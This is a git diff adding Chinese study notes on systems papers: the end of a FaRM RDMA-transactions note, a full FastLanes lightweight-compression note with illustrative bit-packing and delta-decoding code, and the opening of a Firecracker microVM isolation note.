+### 6. 与 SOSP 2015 的衔接（扩展阅读）
+
+NSDI 2014 已包含复制日志到 SSD + 少量 NVRAM 缓冲；SOSP 2015 进一步：
+
+- Primary-Backup 在 **非易失 DRAM** 上复制
+- **<50 ms** 故障恢复（并行 recovery + 锁恢复阶段极短）
+- 90 机 **4.9 TB** 数据库 **1.4 亿 TPS**（TATP）
+
+读 NSDI 2014 理解「怎么快」；读 SOSP 2015 理解「怎么又快又稳」。
+
+---
+
+## 代码示例 1：FaRM 风格的事务 API（C，摘自论文 Figure 6）
+
+FaRM 暴露**事件驱动 + continuation** 接口：异步 RDMA 完成后回调，避免阻塞线程。
+
+```c
+/* 创建事务上下文 */
+Tx *t = txCreate();
+
+/* 在提示地址附近分配新对象（共置优化） */
+Addr neighbor = ...;
+txAlloc(t, obj_size, neighbor, on_alloc_done);
+
+/* 读-改-写 */
+void on_read_done(ObjBuf *old, void *ctx) {
+    ObjBuf *writable = txWrite(t, old, new_values);
+    txCommit(t, on_commit_done);
+}
+txRead(t, obj_addr, obj_size, on_read_done);
+
+/* 无锁只读快路径 */
+Lf *lf = lockFreeStart();
+lockFreeRead(lf, obj_addr, obj_size, on_lf_read);
+lockFreeEnd(lf);  /* 释放临时 ObjBuf */
+```
+
+**读法**：
+
+- `txAlloc(..., hint)` 的 hint 让分配器优先**同 block / 同 region / 环上邻近位置**，为后续单机事务铺路
+- `lockFreeStart/End`  bracket 的无锁读与事务并发仍 **serializable**
+- 真实代码需处理 continuation 链上的 Abort、重试与 incarnation 校验——论文省略了样板
+
+---
+
+## 代码示例 2：在 FaRM 思路上实现 KV 查找（伪代码）
+
+下面不是 FaRM 源码，但忠实反映 **chained hopscotch + lock-free read** 的 lookup 逻辑：
+
+```python
+def farm_style_lookup(table_shard, key, fat_ptr_codec):
+    h = hash(key)
+    b, b1 = h % N, (h + 1) % N
+
+    # 单次 RDMA：邻桶 b 与 b+1（论文保证 key 必在其中之一或 b 的溢出链）
+    pair = rdma_read_buckets(table_shard, b, b1)
+    if not joint_version_ok(pair.fwd, pair.bwd):
+        continue  # 邻桶不一致，退避重试
+
+    for slot in pair.slots:
+        if slot.key == key and incarnation_match(slot.fat_ptr):
+            if slot.is_inline:
+                return slot.value
+            obj = rdma_read_object(slot.fat_ptr)
+            if incarnation_match(slot.fat_ptr, obj):
+                return obj.value
+            continue  # 对象已被 free/recycle，重试
+
+    for overflow in walk_overflow_chain(b):
+        obj = lock_free_read_chain_node(overflow, key)
+        if obj is not None:
+            return obj.value
+    return NOT_FOUND
+```
+
+**要点**：
+
+1. **第一次 RDMA 尽量覆盖两个邻桶**——把最常见路径压在 1 次远程读
+2. **joint version** 防止「读到旧 b + 新 b+1」的拼接态
+3. **fat pointer + incarnation** 防止 ABA/free 后重用
+
+---
+
+## 代码示例 3：RDMA 环形消息通道（发送方逻辑，简化）
+
+FaRM 用 RDMA Write 实现可靠消息，核心是不覆盖接收方尚未处理的尾部：
+
+```c
+void farm_send(RdmaChannel *ch, const void *msg, size_t len) {
+    /* 本地缓存的 remote_head 滞后于真实 head，保证不踩未处理数据 */
+    while (ch->tail + len > ch->local_copy_remote_head) {
+        poll_completions(ch);
+        maybe_refresh_remote_head(ch);  /* 接收方处理 ≥50% buffer 才更新 */
+    }
+    rdma_write(ch->conn, ch->buf_remote + ch->tail, msg, len);
+    ch->tail += len;
+    rdma_write_u64(ch->conn, &ch->remote_tail_ptr, ch->tail);
+}
+```
+
+接收方轮询 `Head` 非零 → 读 trailer 非零 → 消息完整 → 交付应用 → 清零并推进 head。无远程 CPU 中断。
+
+---
+
+## 架构一图流
+
+```text
+┌─────────────┐     RDMA Read (one-sided)      ┌─────────────┐
+│  Machine A  │ ─────────────────────────────► │  Machine B  │
+│  App thread │                                │  DRAM Region│
+│  + FaRM lib │ ◄── RDMA Write (msg ring) ───► │  (Primary)  │
+└─────────────┘                                └──────┬──────┘
+       │                                              │ WAL replicate
+       │  txCommit / lockFreeRead                     ▼
+       │                                       ┌─────────────┐
+       └────────── shared address space ──────►│  Replica    │
+                                               └─────────────┘
+```
+
+---
+
+## 实践数字（论文实测）
+
+| 场景 | 配置 | 结果 |
+|------|------|------|
+| KV 查找 | 20 机，40 Gbps RoCE，YCSB | **167 M ops/s**，**31 µs** 延迟 |
+| vs TCP 基线 | 同硬件 | 吞吐 / 延迟 **~10×** 优势 |
+| 本地 vs RDMA | 微基准 | 本地内存请求率 **~23×** 于 RDMA |
+| TATP（SOSP'15） | 90 机，4.9 TB | **140 M tps**；故障恢复 **<50 ms** |
+
+FaRM 还实现了类似 Facebook **TAO** 的图存储，相对原 TAO 论文报告值同样有 **数量级** 提升。
+
+---
+
+## 适用 vs 不适用
+
+**适用**：
+
+- 数据中心内 **内存可放下工作集** 的 OLTP、KV、图遍历（随机读多）
+- 已部署 **RoCE / Infiniband**，能换栈 bypass 内核
+- 愿意用 **共置 + 偶尔函数投递** 换极端热点性能
+
+**不适用**：
+
+- 数据必须落盘为主、内存只是缓存且 **无** 复制日志/NVRAM 方案（需另配持久化故事）
+- 跨地域 **RTT 毫秒级**——2PC + 多副本验证延迟随 RTT 线性恶化
+- 需要 **多租户强隔离** 于单一 protection domain（FaRM 2014 为单保护域集群）
+- 团队无法维护 **PhyCo、NIC 驱动、轮询式** 事件循环等底层调优
+
+---
+
+## 与相关系统对比
+
+| 系统 | 网络 | 事务 | 特点 |
+|------|------|------|------|
+| **MemC3 / Redis** | TCP | 无 / 弱 | 成熟，但跨机延迟高 |
+| **Pilaf** | RDMA | 无 | 极快 KV，无事务 |
+| **HERD** | RDMA | 无 | 专注 NIC 侧扩展 |
+| **FaRM** | RDMA | 严格 Serializable | 共享内存 + 事务 + 无锁读 |
+| **Silo** | TCP（单机） | Serializable | 2013 单机内存 OLTP 标杆 |
+| **Hekaton** | 本地 | Serializable | SQL Server 进程内引擎 |
+| **Spanner** | WAN | 外部一致 | 跨洲，不同问题域 |
+
+FaRM 证明：**在机架/集群尺度**，RDMA + 重新设计的 2PC/OCC 可以把「分布式事务」从「只能放弃」变成「默认选项」。
+
+---
+
+## 踩过的坑（读论文时值得记）
+
+1. **NIC 页表缓存**：注册内存越多，RDMA 越慢——必须 **大页 / PhyCo 2GB 连续区**，否则 QPS 掉 4×。
+2. **Queue Pair 数量 vs 规模**：每线程每对机器一条 QP 在 78 机上会炸 NIC 缓存；需 **QP 共享**（参数 q）权衡并行度。
+3. **中断 vs 轮询**：用中断/blocking 可能让 RDMA 延迟 **×4**——FaRM 坚持 user-level poll。
+4. **无锁读不是免费午餐**：版本/check 失败要 **随机退避重试**；写热点高时 OCC 验证失败率上升。
+5. **共置是性能前提**：不把相关对象放同一 Primary，就退回完整分布式 2PC——**数据布局是 API 的一部分**。
+6. **NSDI vs SOSP**：2014 论文**不展开**故障恢复细节，但基准已含复制日志开销；完整 HA 故事看 2015。
+
+---
+
+## 一句话总结
+
+FaRM 把「远程内存」做成像 **共享地址空间** 一样好用：默认给你 **严格 Serializable 事务**，读路径则用 **单次 RDMA 无锁读** 榨干 RoCE；再通过 **对象共置与函数投递** 把常见写路径降成单机事务——在 Microsoft 的集群上，这套组合相对 TCP 内存系统实现了 **10× 级** 的延迟与吞吐跃迁，并为后来「**一致性、可用性、性能不必三选一**」的 SOSP 2015 奠定了平台基础。
+
+---
+
+## 延伸阅读
+
+- Dragojević et al., **FaRM: Fast Remote Memory**, NSDI 2014（本笔记主来源）
+- Dragojević et al., **No compromises: distributed transactions with consistency, availability, and performance**, SOSP 2015
+- 同仓库笔记：[[hekaton]]（单机内存 OLTP）、[[spanner]]（全球一致）、[[ix-2014]]（数据面 OS 与低延迟网络）
diff --git a/src/content/docs/papers/fastertransformer-2021.md b/src/content/docs/papers/fastertransformer-2021.md
index d47418acb..aa06914c2 100644
--- a/src/content/docs/papers/fastertransformer-2021.md
+++ b/src/content/docs/papers/fastertransformer-2021.md
@@ -160,6 +160,7 @@ cache_v: [layer, max_seq_len, n_head, head_dim]
 - [[orca-2022]] —— Orca — Transformer 生成模型的分布式推理调度
 - [[seq2seq-2014]] —— Seq2Seq — 把翻译变成端到端神经网络
 - [[tensorrt-llm-2023]] —— TensorRT-LLM — NVIDIA 把 FT 升级成可调度的官方推理栈
+- [[tensorrt-llm-overview]] —— TensorRT-LLM — NVIDIA 开源 LLM 推理优化库零基础笔记
 - [[transformer-xl-2019]] —— Transformer-XL — 让 Transformer 像 RNN 那样把上下文滚动传下去
 - [[vllm]] —— vLLM — 高吞吐 LLM 推理引擎
 
diff --git a/src/content/docs/papers/fastlanes-compression.md b/src/content/docs/papers/fastlanes-compression.md
new file mode 100644
index 000000000..edc0785c6
--- /dev/null
+++ b/src/content/docs/papers/fastlanes-compression.md
@@ -0,0 +1,329 @@
+---
+title: FastLanes 压缩布局 — 用标量代码每秒解码超过 1000 亿整数
+来源: https://www.vldb.org/pvldb/vol16/p2132-afroozeh.pdf
+日期: 2026-06-13
+子分类: 存储与查询
+分类: 数据库
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：流水线装箱 vs 串行拆箱
+
+想象你在仓库里要把 **1024 个小零件** 从托盘搬到快递盒里。有两种打包哲学：
+
+**传统方式（串行）**：按零件编号 1、2、3……依次装箱。工人 A 必须等工人 B 把第 3 号零件放好，才能处理第 4 号——因为 bit 流是 **连续咬合** 的，Unpack 时前后依赖很强，很难让 8 个人同时干不同的活。
+
+**FastLanes 方式（分 lane 并行）**：先把 1024 个零件 **重排成 128 条流水线**，每条线上 8 个工位（对应 8-bit 元素宽）。同一工位上的 8 个零件 **互不干扰**，128 条线可以同时推进。即使仓库只有 **scalar 工人**（没有 SIMD 特种装备），现代 CPU 的「宽发射」也能让多条线 **同时开工**；LLVM/GCC 还会自动把「每条线里相同动作」合成 SIMD 指令。
+
+这篇 **VLDB 2023** 论文（CWI 的 Azim Afroozeh 与 Peter Boncz）针对列式存储里最常见的 **轻量压缩（Light-Weight Compression, LWC）**——字典（DICT）、帧参考（FOR）、差分（DELTA）、游程（RLE）以及底层的 **bit-packing**——重新设计 **内存布局**，让 **纯标量 C/Rust 代码** 在 Intel、AMD、Apple、AWS 上都能跑到 **每秒解码 >1000 亿整数**（约 **>40 值/CPU 周期**），且 **无需手写 AVX/NEON intrinsics**。
+
+开源实现：https://github.com/cwida/FastLanes ；Rust 移植：https://github.com/spiraldb/fastlanes
+
+---
+
+## 是什么
+
+**FastLanes** 不是又一种 Snappy/zstd 式的「块压缩器」，而是 **LWC 解码的数据布局 + 虚拟指令集**：
+
+| 层次 | 传统 Parquet/ORC 痛点 | FastLanes 做法 |
+|------|------------------------|----------------|
+| Bit-unpack | 比特流顺序依赖，SIMD 难向量化 | **Interleaved layout**：按虚拟 **1024-bit 寄存器** 分 lane |
+| DELTA/RLE/FOR | 本质串行，lane 间有依赖 | **Unified Transposed Layout (UTL)**：全表列统一重排 tuple |
+| 跨平台 | 维护 AVX2/AVX-512/NEON 多套 intrinsic | **标量写法 + 编译器 auto-vectorize** |
+| 批大小 | 各 codec 各自为政 | 统一 **1024 元素** 为一个 FastLane 向量 |
+
+论文标题里的 **「scalar code」** 指：源码里没有 `_mm256_*` 这类内联汇编式 intrinsic，性能来自 **布局让循环可向量化**，而不是绑死某条 SIMD 方言。
+
+---
+
+## 为什么重要
+
+列式分析（DuckDB、ClickHouse、Spark）和新一代 **FastLanes 文件格式** 的共同逻辑是：
+
+1. **磁盘/网络带宽** 用 LWC 压下来；
+2. **查询速度** 取决于解码是否「几乎免费」。
+
+2010 年代常见假设：I/O 慢、CPU 解码不是瓶颈。2020 年代 NVMe、内存带宽、GPU 解码把 **解压 CPU 成本** 推回前台——Parquet 默认 Snappy + 非并行友好的 bitpack，在现代硬件上可能 **解码比读盘还贵**。
+
+FastLanes 的核心论点：**换一种比特在内存里的「摆放方式」**，就能在 **不写平台相关 SIMD** 的前提下，把解码吞吐拉高一个数量级，并顺带解决 **ARM vs x86、128-bit vs 512-bit SIMD 宽度不一** 的维护噩梦。
+
+---
+
+## 核心概念
+
+### 1. 轻量压缩（LWC）四件套
+
+Analytics 列存里，整数列在进 bit-packing 前通常会先做一层 **语义压缩**：
+
+| 编码 | 直觉 | 例子 |
+|------|------|------|
+| **FOR**（Frame of Reference） | 整列减去同一个基准值 | 温度 `[1001,1002,1003]` → 基准 1000，存 `[1,2,3]` |
+| **DELTA** | 存相邻差分 | `[10,12,15]` → `[10,2,3]` |
+| **RLE** | 连续重复只存 `(值, 次数)` | `[7,7,7,3]` → `(7×3), (3×1)` |
+| **DICT** | 低基数列映射到小整数 ID | `"男"/"女"` → `0/1` |
+
+这些编码 **减小数值幅度** → bit-packing 用更少的 bit 宽度（如 u32 列压成 u5）→ 省空间。FastLanes 对 **上述全部** 提供加速布局，而不只 bitpack 本身。
+
+### 2. 虚拟 MM1024 寄存器
+
+真实 CPU 最宽 SIMD 今天约 **512 bit（AVX-512）**，FastLanes 定义 **虚拟 1024-bit 寄存器 MM1024**：
+
+- 一次处理 **1024 个元素**（对 u8 即 1024 bit 有效载荷）；
+- 源码按 MM1024 写循环，编译器在 256-bit 机器上 **拆成 4 条 256-bit 指令**，在 128-bit NEON 上 **拆成 8 条**——**同一份压缩文件**，无需重编码。
+
+对元素位宽 `T`（如 u8 则 T=8），外层 lane 数为：
+
+```text
+lanes = 1024 / T = 128   （当 T=8）
+```
+
+每个 lane 内，按 **stride = lanes** 访问元素：`input[128 * row + lane]`。
+
+### 3. Interleaved bit-packing 布局
+
+传统 bitpack：比特 **严格顺序** 流 `[v0|v1|v2|…]`，解第 k 个值要先解完前面所有 bit。
+
+FastLanes：把 1024 个 T-bit 值看成 **T 行 × 128 列** 的矩阵，**按列（lane）** 打包：同一 lane 内的元素在比特流里 **对齐、独立**，使内层循环形态为：
+
+```text
+for lane in 0..128:
+    packed[lane] = f(input[lane], input[lane+128], …)  // 相同指令、相同相对偏移
+```
+
+这正是 LLVM **loop vectorizer** 最喜欢的模式（类似 `a[i]=b[i]+c[i]`）。
+
+### 4. Unified Transposed Layout（UTL）与 `04261537` 序
+
+DELTA/RLE 看起来 **高度串行**（第 i 个依赖 i-1）。UTL 的做法：**在写入 FastLanes 文件前，重排整张表的所有列**，把 1024 个 tuple 切成 8 个 chunk（每 chunk 128 行），再按 **`0-4-2-6-1-5-3-7`** 顺序交错排列。
+
+这样：
+
+- 不同 SIMD lane 宽度（8/16/32/64 bit）都能 **最大化独立工作**；
+- DELTA 可在 transposed 块内 **向量化前缀和** 的变体；
+- 多列用 **同一套重排**，JOIN/scan 时 cache 友好。
+
+（完整索引公式见论文 Figure；零基础只需记住：**不是按行号 0,1,2…存，而是故意「洗牌」成 04261537 让硬件开心**。）
+
+### 5. 标量快 → 编译器变 SIMD
+
+论文 micro-benchmark：**>40 decoded values / CPU cycle**；3.5 GHz 机器上粗算可达 **>100B integers/s**。
+
+关键机制：
+
+1. **Interleave + UTL** 消除 lane 间 false dependency；
+2. 宽发射 CPU 上 **多条 scalar 指令并行飞**；
+3. 现代编译器把外层 lane 循环 **auto-vectorize** 成 NEON/AVX——**零 intrinsic 技术债**。
+
+---
+
+## 代码示例 1：FOR + bit-packing 直觉（Python 伪代码）
+
+下面用 **极简 Python** 演示 FOR 如何缩小 bit 宽度，以及为何「小整数」对 FastLanes 友好。（非 FastLanes 官方 API，仅为零基础建立数值直觉。）
+
+```python
+def frame_of_reference_encode(values: list[int]) -> tuple[int, list[int]]:
+    """FOR：找最小值作基准，存偏移量（保证非负）。"""
+    base = min(values)
+    deltas = [v - base for v in values]
+    return base, deltas
+
+def bits_needed(max_val: int) -> int:
+    """压成 uW 时需要的 bit 数 W。"""
+    return max(1, max_val.bit_length())
+
+# 模拟一列「接近的传感器读数」
+readings = [1_000_000 + i for i in range(1024)]
+base, residuals = frame_of_reference_encode(readings)
+W = bits_needed(max(residuals))
+
+print(f"原始 u32 列: 1024 × 32 bit = {1024 * 32} bit")
+print(f"FOR 后基准={base}, 最大残差={max(residuals)}, 只需 W={W} bit/值")
+print(f"Bit-pack 后约: 1024 × {W} bit = {1024 * W} bit")
+print(f"压缩比约: {32 / W:.1f}x（仅 bit 宽度层面）")
+```
+
+FOR 之后残差落在 **0..1023**，只需 **10 bit** 而非 32 bit——FastLanes 的 bitpack kernel 再把这些 10-bit 值按 **lane 布局** 塞进字节数组，解码端即可 **128 条 lane 并行 unpack**。
+
+---
+
+## 代码示例 2：FastLanes 风格 u8→u3 bitpack 内核（Rust 伪代码）
+
+摘自论文思路与 [Nick Gates 对 FastLanes Rust 的讲解](https://nickgates.com/notes/life-in-the-fastlanes/)：把 **1024 个 u8** 压成 **3 bit/值**，输出 **384 字节**。注意 **lane 循环** 与 **128 stride** 访问模式——这是 auto-vectorize 的关键。
+
+```rust
+/// 将 1024 个 0..7 的 u8 压成 3-bit 流（每 lane 独立打包）
+fn pack_u8_u3(input: &[u8; 1024], packed: &mut [u8; 384]) {
+    const MASK: u8 = 0b0000_0111; // 只保留 3 bit
+    const LANES: usize = 128;     // 1024 / 8 = 128
+
+    for lane in 0..LANES {
+        let mut tmp: u8;
+
+        // 第 0 行：input[lane + 128*0]
+        tmp = input[lane] & MASK;
+        tmp |= (input[lane + LANES * 1] & MASK) << 3;
+        tmp |= (input[lane + LANES * 2] & MASK) << 6;
+        packed[lane] = tmp;
+
+        // 跨字节 carry：第 3 个值的最高 bit 溢出到下一字节
+        tmp = (input[lane + LANES * 2] & MASK) >> 2;
+        tmp |= (input[lane + LANES * 3] & MASK) << 1;
+        tmp |= (input[lane + LANES * 4] & MASK) << 4;
+        tmp |= (input[lane + LANES * 5] & MASK) << 7;
+        packed[LANES + lane] = tmp;
+
+        tmp = (input[lane + LANES * 5] & MASK) >> 1;
+        tmp |= (input[lane + LANES * 6] & MASK) << 2;
+        tmp |= (input[lane + LANES * 7] & MASK) << 5;
+        packed[LANES * 2 + lane] = tmp;
+    }
+}
+```
+
+用 `cargo asm` 查看 ARM NEON 时，内层会出现 `and.16b`、`shl.16b` 等 **16 字节宽向量指令**——源码里 **没有** 写 NEON intrinsic，是 LLVM 对 `lane` 循环的自动向量化。
+
+**官方 Rust crate 用法**（`spiraldb/fastlanes`）更简洁：
+
+```rust
+use fastlanes::BitPacking;
+
+const WIDTH: usize = 3;
+const PACKED: usize = 128 * WIDTH / size_of::<u16>();
+
+let mut values = [0u16; 1024];
+for i in 0..1024 {
+    values[i] = (i % (1 << WIDTH)) as u16;
+}
+
+let mut packed = [0u16; PACKED];
+BitPacking::pack::<WIDTH, PACKED>(&values, &mut packed);
+
+let mut restored = [0u16; 1024];
+BitPacking::unpack::<WIDTH, PACKED>(&packed, &mut restored);
+assert_eq!(values, restored);
+```
+
+---
+
+## 代码示例 3：DELTA 解码为何需要 UTL（C 风格伪代码）
+
+朴素 delta 解码 **无法** 向量化：
+
+```c
+// 串行：第 i 步依赖 out[i-1]
+void delta_decode_serial(const int32_t *enc, int32_t *out, int n) {
+    out[0] = enc[0];
+    for (int i = 1; i < n; i++)
+        out[i] = out[i - 1] + enc[i];
+}
+```
+
+FastLanes 在 **UTL 重排后的 1024 块** 内，把依赖拆到 **lane 局部**：每个 lane 先做 **块内前缀和**，再在 lane 之间传递 **单个 carry**（论文称这种结构适合 SIMD `scan`）。零基础可记：**UTL 把「一条长链」拆成「128 条短链 + 少量边界合并」**。
+
+```c
+// 概念示意：每个 lane 独立扫描 8 个元素（T=32 时 1024/32=32 lanes，此处简化为 4 lanes × 4 元素）
+void delta_decode_lane_local(const int32_t enc[16], int32_t out[16]) {
+    const int LANES = 4, STRIDE = 4;
+    int32_t lane_carry[4] = {0};
+
+    for (int l = 0; l < LANES; l++) {
+        int32_t sum = lane_carry[l];
+        for (int k = 0; k < STRIDE; k++) {
+            int idx = l + k * LANES;          // UTL 下的访问模式
+            sum += enc[idx];
+            out[idx] = sum;
+        }
+        lane_carry[l] = sum;                  // 下一块继续
+    }
+}
+```
+
+真实 FastLanes 实现还处理 **跨 1024 块边界** 的全局 carry；布局保证 **编译器仍能看到规则 stride 循环**。
+
+---
+
+## 与 Parquet / ORC 的关系
+
+| 维度 | Parquet/ORC（2013 年代） | FastLanes 论文 / 格式 |
+|------|--------------------------|------------------------|
+| 批大小 | Page / stream 大小不固定 | 固定 **1024** FastLane |
+| Bitpack | 顺序比特流 | **Interleaved + MM1024** |
+| Tuple 顺序 | 逻辑行序 | **UTL 04261537 重排** |
+| SIMD | 各系统手写 intrinsic | **标量 + auto-vectorize** |
+| 块压缩 | 常默认 Snappy | 倾向 **仅 LWC**，解码极轻 |
+
+FastLanes **不是** 要立刻替换所有 Parquet 数据集，而是证明：**LWC 解码可以快到「带宽省下来的时间 > 解码花的时间」**——为 DuckDB、Vortex、GPU decode 等新栈提供布局标准。
+
+---
+
+## 性能数字（论文 micro-benchmark 摘要）
+
+- **解码吞吐**：单核 **>100B integers/s**（标量 C，多平台）。
+- **每周期解码**：**>40 values / cycle**（视编码与位宽而定）。
+- **相对加速**：相对传统 layout 的 bitpack/FOR/DELTA/RLE/DICT，**数倍到数量级**（Figure 见原文）。
+- **平台**：Intel、AMD、Apple Silicon、AWS Graviton 均测——布局 **不绑 ISA**。
+
+注意：绝对数字随 CPU、位宽 W、是否 L3 cache resident 变化；**布局 + 1024 batch** 是可迁移的设计原则。
+
+---
+
+## 实现与生态
+
+| 项目 | 说明 |
+|------|------|
+| [cwida/FastLanes](https://github.com/cwida/FastLanes) | 论文作者 C++ 参考实现，含生成器产出大量 bitpack 宽度组合 |
+| [spiraldb/fastlanes](https://github.com/spiraldb/fastlanes) | Rust 实现，宏生成 mask/shift；**与 C++ 版二进制不兼容**（bitpack 顺序为 fused kernel 优化） |
+| [fastlanes.io](https://fastlanes.io) | 新一代列存 **文件格式**（Arrow/DuckDB 互操作进行中） |
+| Vortex | 压缩 Arrow 库，内置 FastLanes codec |
+
+验证向量化：
+
+```bash
+RUSTFLAGS='-C target-cpu=native' cargo asm --release --bench bitpacking
+```
+
+---
+
+## 局限与开放问题
+
+1. **UTL 重排** 改变逻辑行顺序，需要格式层记录 permute；与 **谓词下推、行级安全** 交互要仔细设计。
+2. **1024 固定 batch** 对极短列有 padding 开销；尾块需单独处理。
+3. **字符串 / 变长类型** 仍以 offset 为主，LWC 优势在 **数值列**。
+4. **GPU 解码** 在后续工作中继续扩展（论文提及，格式博客 2024 列为 roadmap）。
+5. Rust 与 C++ 实现 **布局细节不同**，跨语言读同一文件需统一规范版本。
+
+---
+
+## 自测题（读完应能答）
+
+1. 为什么 FastLanes 强调 **1024 元素** 和 **1024 bit 虚拟寄存器** 对齐？
+2. **Interleaved bitpack** 解决了传统 bitpack 的哪个 SIMD 痛点？
+3. **UTL `04261537`** 想优化的是 DELTA/RLE 的什么问题？
+4. 「Scalar code 每秒 1000 亿整数」是否意味着 **没有 SIMD**？实际机器上发生了什么？
+5. FOR 之后为什么 bit-packing 更省空间？
+
+<details>
+<summary>参考答案（先自己想再点开）</summary>
+
+1. 1024 是 2 的幂，可被 8/16/32/64 bit lane 整除，使 `lanes = 1024/T` 为整数，且单 batch 适配各级 SIMD 拆分。
+2. 传统顺序比特流有 **跨值 bit 依赖**；按 lane 交错后，每个 lane 内 pack/unpack **指令相同、偏移规律**，循环可向量化。
+3. 朴素 DELTA/RLE **串行依赖**；UTL 把 tuple 洗牌成 **多 lane 短链**，块内可并行 scan，仅保留少量 lane 间 carry。
+4. **不是**。源码无 intrinsic，但编译器把 lane 循环 **auto-vectorize** 成 AVX/NEON；宽发射 CPU 也让多条标量指令并行。
+5. FOR 把大整数变成 **小残差** → 每个值只需 **W bit（W≪32）** → bitpack 输入 entropy 更低。
+
+</details>
+
+---
+
+## 延伸阅读
+
+- Afroozeh & Boncz, **PVLDB 16(9), 2023**, doi:[10.14778/3598581.3598587](https://doi.org/10.14778/3598581.3598587)
+- Nick Gates, [Life in the FastLanes](https://nickgates.com/notes/life-in-the-fastlanes/) — bitpack 与 auto-vectorize 入门
+- 本仓库笔记：[列式存储格式实证评估（Parquet vs ORC）](./columnar-storage-formats-2023.md) — LWC 与 Snappy 层在 2023 年的 trade-off
+- Zeng et al., VLDB 2023 — 为何 **CPU 解码** 重新成为列存瓶颈
+
+---
+
+## 一句话总结
+
+**FastLanes 把「轻量压缩」从串行比特技巧，升级成面向 1024-lane 并行与编译器 auto-vectorize 的内存布局标准——让列存解码在现代 CPU 上快到接近免费，同时避免 SIMD intrinsic 的平台债。**
diff --git a/src/content/docs/papers/firecracker-microvm-2020.md b/src/content/docs/papers/firecracker-microvm-2020.md
new file mode 100644
index 000000000..badc6ae74
--- /dev/null
+++ b/src/content/docs/papers/firecracker-microvm-2020.md
@@ -0,0 +1,335 @@
+---
+title: Firecracker — 为 Serverless 量身定制的轻量虚拟化
+来源: https://www.usenix.org/system/files/nsdi20-paper-agache.pdf
+日期: 2026-06-13
+子分类: 内核与虚拟化
+分类: 操作系统
+provenance: pipeline-v3
+---
+
+## 先想成什么事
+
+想象你经营一家**按次计费的共享厨房**（这就是 AWS Lambda 一类 serverless 平台）：
+
+- 每个顾客（租户）带自己的菜谱和食材（任意 Linux 二进制），你只负责提供灶台和水电。
+- 顾客一走，灶台必须**立刻洗干净**，给下一位用；高峰时要**几百个灶台同时开火**。
+- 更麻烦的是：顾客可能互相不信任——你不能让 A 顾客的酱料瓶出现在 B 顾客的柜子里。
+
+有三种常见做法：
+
+| 做法 | 日常类比 | 优点 | 缺点 |
+|------|----------|------|------|
+| **Linux 容器**（Docker） | 大家共用同一套中央供水供电，靠隔间板分开 | 开档快、占地小 | 隔间板是软件做的；中央系统（内核）一破，全场沦陷 |
+| **传统虚拟机**（QEMU+KVM） | 每位顾客单独租一整间带独立水电的商铺 | 墙是砖砌的（硬件隔离） | 装修太重：BIOS、USB、声卡……启动要几秒，空铺也占几十 MB |
+| **Firecracker microVM** | 只建**极简单间**：门、电、水龙头、排水口，别的不要 | 砖墙隔离 + 单间装修极简 | 不能开餐厅（无 GPU）、不能搬家（无 live migration） |
+
+这篇 NSDI 2020 论文由 Alexandru Agache 等 AWS 工程师撰写，讲的是第三种：**保留 KVM 硬件虚拟化的安全边界，把 QEMU 那 140 万行通用 VMM 换成约 5 万行 Rust 专用 VMM**。Firecracker 自 2018 年起支撑 AWS Lambda 与 Fargate，每月处理数万亿次请求。
+
+## 这篇论文在说什么
+
+| 维度 | 内容 |
+|------|------|
+| 会议 | 17th USENIX NSDI，2020 年 2 月，Santa Clara |
+| 页码 | 419–434 |
+| 作者 | Alexandru Agache, Marc Brooker, Andreea Florescu 等（Amazon Web Services） |
+| 开源 | 2018 年 12 月 Apache 2.0 发布 |
+| 生产部署 | AWS Lambda、AWS Fargate |
+
+论文要回答的核心问题：
+
+1. **多租户 serverless** 能否同时做到 VM 级隔离与容器级密度？
+2. **专门为 serverless 裁剪** 的 VMM 应长什么样——砍什么、留什么、为什么？
+3. 把 Lambda 从「容器 + EC2」迁到 Firecracker，工程上踩了哪些坑？
+
+## 为什么值得读（零基础也能建立图景）
+
+即使你从未写过 hypervisor，这篇论文也能帮你理解今天云原生里反复出现的张力：
+
+- **安全 vs 兼容**：容器靠 seccomp 限制 syscall，syscall 越少越安全，但用户代码越容易挂；VM 把不可信代码关进 guest 内核，宿主只需信 VMM。
+- **通用 vs 专用**：QEMU 能启动 Windows、模拟声卡；Lambda 只需要 Linux + virtio 网卡/磁盘——专用工具在窄场景里能快一个数量级。
+- **分层借力**：CPU 虚拟化交给 KVM（见 [[kvm-2007]]），调度/内存交给 Linux，Firecracker 只做设备模拟和 API——这和 unikernel（[[mirage-unikernel-2013]]）「只带咖啡机」是同一哲学在不同层的重演。
+
+## 核心概念一：隔离方案的三岔路
+
+论文第 2 节系统比较了三种隔离路线。
+
+### Linux 容器
+
+依赖 cgroups、namespaces、seccomp-bpf、chroot 等内核机制。问题是：**所有容器共享一个内核**。安全边界是「能调用哪些 syscall」——典型 Ubuntu 需要 224 个 syscall 才能正常运行，攻击面很难缩到足够小。侧信道（Spectre、/proc 信息泄露）也持续爆出 CVE。
+
+### 语言虚拟机隔离
+
+JVM、V8 isolates 等在单进程内隔离，对「跑任意 Linux 二进制」的 Lambda 不适用。
+
+### KVM 虚拟化
+
+每个 workload 有**自己的 guest 内核 + 独立页表**，硬件（Intel VT-x / AMD-V）负责截获特权指令。代价是传统 QEMU 太重：论文引用 Tsai 等的工作，QEMU 单独就需要多达 270 个 syscall。
+
+**Firecracker 的立场**：保留 KVM，**替换 QEMU**。
+
+```
+传统路径:  用户代码 → guest 内核 → KVM → QEMU（140万行）→ 宿主内核
+
+Firecracker: 用户代码 → guest 内核 → KVM → Firecracker（~5万行 Rust）→ 宿主内核
+```
+
+Figure 1（论文）对比了两种安全模型：
+
+- **容器**：不可信代码直接打宿主内核（可能带 seccomp 沙箱）
+- **虚拟化**：不可信代码只打 guest 内核；VMM + KVM 限制 guest 内核
+
+## 核心概念二：Firecracker 刻意不做什么
+
+论文 1.1 节「Specialization」列了一张「不做清单」——这对理解 microVM 至关重要：
+
+| 没有的功能 | 为什么砍掉 |
+|------------|------------|
+| BIOS、任意内核启动 | 只支持 VMM 直接加载的 Linux 内核镜像 |
+| PCI、USB、声卡、显卡 | serverless 不需要；每多一个模拟设备就多一份 TCB |
+| VM live migration | Lambda slot 寿命以小时计，用完即弃 |
+| 编排 / 打包 | 交给 Kubernetes、containerd；Firecracker 只替代 QEMU |
+| Windows guest | 设备模型太窄 |
+
+**一个 Firecracker 进程 = 一台 microVM**。进程边界即安全边界，运维人员用 `ps`、`top`、`kill` 就能管理整机上的上千个 microVM。
+
+## 核心概念三：极简设备模型
+
+Firecracker 只模拟 **5 类设备**（论文 3.1 节）：
+
+| 设备 | 用途 |
+|------|------|
